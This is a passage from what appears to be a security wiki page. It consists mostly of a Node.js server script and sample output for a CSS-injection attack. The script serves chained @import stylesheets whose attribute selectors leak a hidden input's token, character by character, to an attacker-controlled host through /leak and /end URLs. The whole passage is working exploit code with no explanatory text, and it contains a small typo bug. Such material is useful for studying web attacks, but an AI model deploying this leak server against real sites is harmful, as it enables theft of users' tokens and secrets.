``` {% endcode %} {% code title="server.js" %} ```javascript const http = require('http'); const url = require('url'); // Port to exfiltrate to const port = 5001; // Host to exfiltrate to const HOSTNAME = "http://localhost:5001"; const DEBUG = false; var prefix = "", postfix = ""; var pending = []; var stop = false, ready = 0, n = 0; const requestHandler = (request, response) => { let req = url.parse(request.url, url); log('\treq: %s', request.url); //If stop, leakeage is finished if (stop) return response.end(); switch (req.pathname) { // This only launched when starting the leakeage case "/start": genResponse(response); break; // Everytime something is leaked case "/leak": response.end(); // If response comes with a pre, then we leaked some preffix s(E)cret if (req.query.pre && prefix !== req.query.pre) { prefix = req.query.pre; // If response comes with a post, then we leaked some suffix secre(T) } else if (req.query.post && postfix !== req.query.post) { postfix = req.query.post; } else { break; } // Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response) if (ready == 2) { genResponse(pending.shift()); ready = 0; } else { ready++; log('\tleak: waiting others...'); } break; // While waiting for a pre and a post, the next @import is waiting to be responded // by a new generated payload with another "pre" and "post" case "/next": if (ready == 2) { genResponse(respose); ready = 0; } else { pending.push(response); ready++; log('\tquery: waiting others...'); } break; // Called when the secret is leaked case "/end": stop = true; console.log('[+] END: %s', req.query.token); default: response.end(); } } const genResponse = (response) => { // Verbose output to know what do we know console.log('...pre-payoad: ' + prefix); console.log('...post-payoad: ' + postfix); // Payload generation, you have an example of what is generated below let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n' + [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') + 'div '.repeat(n) + 'input{background:var(--e'+n+')}' + [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') + 'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' + 'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};'; response.writeHead(200, { 'Content-Type': 'text/css'}); response.write(css); response.end(); n++; } // Server listening const server = http.createServer(requestHandler) server.listen(port, (err) => { if (err) { return console.log('[-] Error: something bad happened', err); } console.log('[+] Server is listening on %d', port); }) function log() { if (DEBUG) console.log.apply(console, arguments); } /* HTTP/1.1 200 OK Content-Type: text/css Date: Fri, 01 Apr 2022 14:35:39 GMT Connection: close Content-Length: 2149 @import url(http://localhost:5001/next?0.7834603960990516); input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)} input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)} input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)} input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)} input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)} input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)} input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)} input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)} input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)} input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)} input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)} input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)} input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)} input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)} input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input{background:var(--e0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)} input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)} input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)} input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)} input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)} input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)} input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)} input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)} input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)} input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)} input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)} input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)} input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)} input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)} input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)} input{border-image:var(--s0)} input[value=]{list-style:url(http://localhost:5001/end?token=&)}; */ /* HTTP/1.1 200 OK Content-Type: text/css Date: Fri, 01 Apr 2022 14:35:39 GMT Connection: close Content-Length: 2149 @import url(http://localhost:5001/next?0.7834603960990516); input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)} input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)} input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)} input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)} input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)} input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)} input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)} input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)} input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)} input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)} input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)} input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)} input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)} input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)} input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input{background:var(--e0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)} input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)} input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)} input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)} input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)} input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)} input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)} input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)} input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)} input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)} input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)} input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)} input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)} input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)} input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)} input{border-image:var(--s0)} input[value=]{list-style:url(http://localhost:5001/end?token=&)}; */ ``` {% endcode %}

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